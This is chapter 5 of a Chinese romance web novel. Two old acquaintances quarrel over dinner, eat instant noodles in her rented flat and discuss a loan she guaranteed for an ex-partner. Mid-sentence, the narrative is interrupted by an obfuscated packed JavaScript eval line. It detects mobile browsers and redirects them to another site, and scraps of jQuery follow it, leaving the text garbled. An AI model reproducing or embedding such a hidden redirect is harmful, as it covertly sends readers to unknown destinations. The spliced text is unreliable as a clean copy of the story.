5. chapter5

作品:《春色欲来时

    祝泗云下班从店里出来时,路迟冬蹲在不远处洗车行门口,手里抓着一截胶皮管,另一只手伸展,水哗啦啦的冲,脸臭的一批,像是刚被在手上拉了一坨热的。


    旁边不见刚才那几个流里流气的男人,也不知道出了店后他是怎么解决的。


    祝泗云走过去,这人头都没抬一下,眼皮四平八稳的耷拉着,明显的不想搭理她。


    车行里几个刷手机的小青年抬头,八卦的眼神在他俩身上转。


    祝泗云站了两秒,手里的包在他背上拍了下,“嗳。”


    不动如山。


    她心想,是你逼我的。


    老虎头上拔毛,祝泗云伸手飞快的摸了一把他脑袋。


    可别说,很管用。


    那颗头发都扎刺儿的脑袋,歘的一下抬起瞪向她。横眉竖目,凶得要死。


    “走吧,请你吃饭。”


    祝泗云不动声色的扫过他手里呲水花的胶皮管,说着往后退了两步,示意他走啊。


    赶上下班晚高峰,街上鸣笛声就没个消停。


    两人沿着人行道一前一后的走,路迟冬背着个单肩包,尥蹶子似的走在前面,祝泗云气短的踩着高跟鞋跟在后面。


    拐过一条街,路过一家火锅店时,路迟冬抬脚就要进。


    祝泗云扫了一眼店内一看就很贵的装修,小跑两步抓住了他手臂,说:“换一家。”


    路迟冬锋利的眉还皱着,看了她一眼没说话,又往前走百来米,停在了一家烧烤店前。


    生意看着不错,店里店外都坐满了人,店家还在外面搭了星星灯,穿着红T恤的店员在各桌间穿梭上菜。


    祝泗云:“……这家也不行。”


    网上铺天盖地的软文游玩攻略,说起美食,这家烧烤店必定霸占榜首,在祝泗云高中时,人均消费就过百了。


    如果是以前,她也能轻易请他吃一顿,但是现在不行。


    路迟冬不耐烦了,“你到底要吃什么?”


    他中午就在火车上吃了碗泡面,这会儿早就饿得前胸贴后背了,顾着这位嘴挑的走了两条街,脾气一上来,声音有有点压不住。


    人声喧嚣的烧烤摊,一颗颗脑袋都抬起来看热闹。


    祝泗云脾气也算不上好,从小到大两人呛声更多,气急了上爪子挠他都有,换作平时,她可能回呛一句“你赶着去投胎啊”,不痛不痒。


    但这会儿,鼻子一酸,眼眶莫名的就红了,半点儿道理没有。


    如果非要说,可能是这段时间积压的情绪到了头,先是莫名其妙的背了一笔烂账,被强制还钱,她整个人生差点到了头。又是投了半个月简历,石沉大海。将就着一份工作,不如她预期高薪,焦虑得快要变成神经病,就连被性骚扰都他妈只能忍着,因为她还有房租要缴,而新工作还没有着落。


    这一刻她觉得全世界的委屈都在她身上,还有些撒谎被当面拆穿而无地自容的难堪。


    路迟冬久久没听到她回复,皱起的眼皮一撩,人差点没了。


    他记忆里,几乎没见过祝泗云哭。这人虚荣又好面子,上学时候为了不当贫困生,能自己跑去市里当野导游赚钱,跟那些划地盘儿的刚。至于当着人面儿哭这种丢脸的事,那是跟她八竿子打不着的。


    “……不是,你还生气了?”


    祝泗云陷在那股心酸的情绪里,看着他没说话。


    她不吵不闹,路迟冬突然意识到了什么,瞪眼的表情变得尴尬,“至于吗,我也没说什么啊……”


    祝泗云转身要走,手臂被一把握住了。


    “诶——”


    “我请你吃行不行?”


    路迟冬说。


    祝泗云手臂抡圆甩开他的手,“滚!”


    “就他妈知道跟我厉害,刚那男的手都摸你屁股上了,不知道大耳刮扇他?”


    路迟冬也生气,但他也就摆了摆臭脸,她一个理亏的还敢在他手臂上挠个土豆丝儿。


    真反了天了。


    “扇不扇他关你屁事!老娘自个儿乐意!”


    一听这话,路迟冬脸色唰的下来了,“你再说一遍。”


    祝泗云也是话赶话说到这儿了,但要重复一遍,不异于吞一口腻的要死的肥肉,她深吸口气,“你滚!”


    一口饭没吃,气饱了。


    两人不欢而散。


    就是……散的是同一条路。


    祝泗云当没发现,自顾自的走,回了出租房。身后脚步声还在,还他妈跟着她上了楼。


    祝泗云抱臂停在楼道里,一声不吭。


    路迟冬走过来,也停下了。


    楼道感应灯保持几秒后暗了。


    这是栋老楼,一共六层,没有电梯。这个时间,楼道里飘着的都是饭香。


    “咕噜噜……”


    肚子在报警。


    无声对峙的气氛被打破。


    路迟冬揉了揉肚子,坦然道:“饿了。”


    黑暗中,祝泗云翻了个白眼,转身往楼上走。


    高跟鞋声音响,一连三层楼的感应灯都亮了。


    路迟冬抓着单肩包,跟在她屁股后面爬楼。


    祝泗云穿着件黑色掐腰小西装,下面是一条黑色的西装裤,顺滑的布料垂落,高跟鞋细的跟针似的,听着却是气势汹汹。


    路迟冬摸了摸鼻子,视线移开。


    祝泗云住在六楼,踩着高跟鞋爬上来真的挺要命,开门进来,多一秒都没,踢掉了细高跟换上了舒服的拖鞋。


    “没有你穿的拖鞋。”


    祝泗云冷声道。


    路迟冬也不计较,穿着袜子踩在地板上,打量了一圈这房子,然后去了厨房。


    冰箱里没什么吃的,仅剩两个西红柿,冷冻层倒是还剩一点儿丸子。


    路迟冬开了煤气灶煮水,水沸时,他拆了几包泡面,又将那点儿丸子都扔进去,盯着那西红柿看了两秒,也没放过,切片儿扔进了锅里。


    祝泗云换了睡衣出来,就见这人将她仅剩的存货都扫荡一空,差点儿没报警!


    路迟冬抓着筷子搅面,听见动静回头,还嫌弃她,“你这日子过得,就这点儿吃的。”


    祝泗云:“……”


    她面无表情的转身出了厨房。


    她数过了!


    锅边儿扔着的泡面袋有五个!!!


    五个啊!


    她的丸子也没有了!!!


    越想越气,祝泗云扭头,“你是猪吗?要吃五包!”


    路迟冬眉梢一挑,“瞅那小气劲儿。”


    祝泗云:“……”


    几分钟后,路迟冬一手端着锅,一手抓着两副碗筷出来。


    两人一人抱着一只碗,热


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172665|180750||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    火朝天的吃光了一锅面,连面汤也没剩下,路迟冬喝了。


    祝泗云抽了张纸巾擦汗,到饮水机前接了杯水,一口气喝了大半杯,靠在沙发上一点儿都不想动。


    余光里,人影晃了晃,她偏过脸,就见这人从橱柜里拿了只碗,在饮水机前接水。


    祝泗云眼皮一抽,她闭了闭眼,没两秒,扭过头咆哮:“……有一次性纸杯!”


    路迟冬喝着水,喉结快速的滑动,闻言抬起眼皮撩她一眼。一碗喝完,他又接水,才慢吞吞的说:“看见了,纸杯小的可怜。”


    祝泗云点头:“确实不适合给牛用。”


    “……”


    身侧的沙发一陷,祝泗云都被震了震,晕船似的。


    看见他不紧不慢的喝水,还打开了电视机,她扭头问:“你还不回去?”


    “没车了。”路迟冬摁着遥控器翻剧,“沙发借我睡一晚。”


    祝泗云想让他滚。


    花花绿绿的封面翻过一页,他才点开了一部。电视剧的声音响起,房子里没有那么安静了。


    “你怎么知道我在省城?”


    祝泗云问出了今晚见到他时就想问的一句。


    路迟冬手臂撑在沙发靠背上,懒洋洋的姿势,听见这句,分给她一个眼神,说:“你要不去看看你朋友圈的那张照片。”


    祝泗云愣了下,才想起他说的是昨晚生日蛋糕的照片。


    她狐疑的戳开,蛋糕简单得有点寒酸,生日蜡烛还亮着,背景将暗的黑蓝色,左下角有一个小小的路牌,几乎隐藏进了背景色。


    这几年的路牌很流行——我在**等你。


    但是这一刻看见,祝泗云心跳忽的重了一拍。


    “你没给我点赞。”


    祝泗云扭头说。


    听她存心找茬儿,路迟冬扯着唇角轻嗤一声,一个眼风都没给她,津津有味的看着八点黄金档的伦理大戏。


    祝泗云白他一眼,他这个样子,她连一点儿说谎暴露的尴尬都没有了,边将那条朋友圈隐藏,边说:“我没跟我妈说这事儿,你给我保密。”


    “你就打算一直这样?”路迟冬转过脸看着她问。


    “怎么样?”


    “就干这工作。”


    “这工作怎么?”


    眼看着立马又要呲起来,路迟冬闭上了嘴,只是还看着她。


    祝女士要命的虚荣心,她可以觉得目前的工作不好,但是不能让别人觉得她这样觉得。


    她想要露在人前的,都是体面的。


    “你那事我听说了几句。”路迟冬也懒得绕圈儿了,直接道。


    祝泗云心里一慌,“什么……事?”


    “被前对象骗钱的事。”路迟冬抓了抓头发,露出几分烦躁来,“说你给人家担保了不知道什么东西。”


    祝泗云:“…………”


    她妈不去演戏真的亏了。


    一个人能干两份儿活——又编又演,业内劳模。


    “缺口还差多少?”路迟冬问她。


    祝泗云恍惚的眼神抬起,“……干嘛,你要借我?”


    “没钱。”路迟冬干脆利落道。


    祝泗云撇撇嘴,就知道。


    她白眼翻了一半儿,听他嗤声骂——


    “蠢蛋。”


    祝泗云抬手就是一肘子!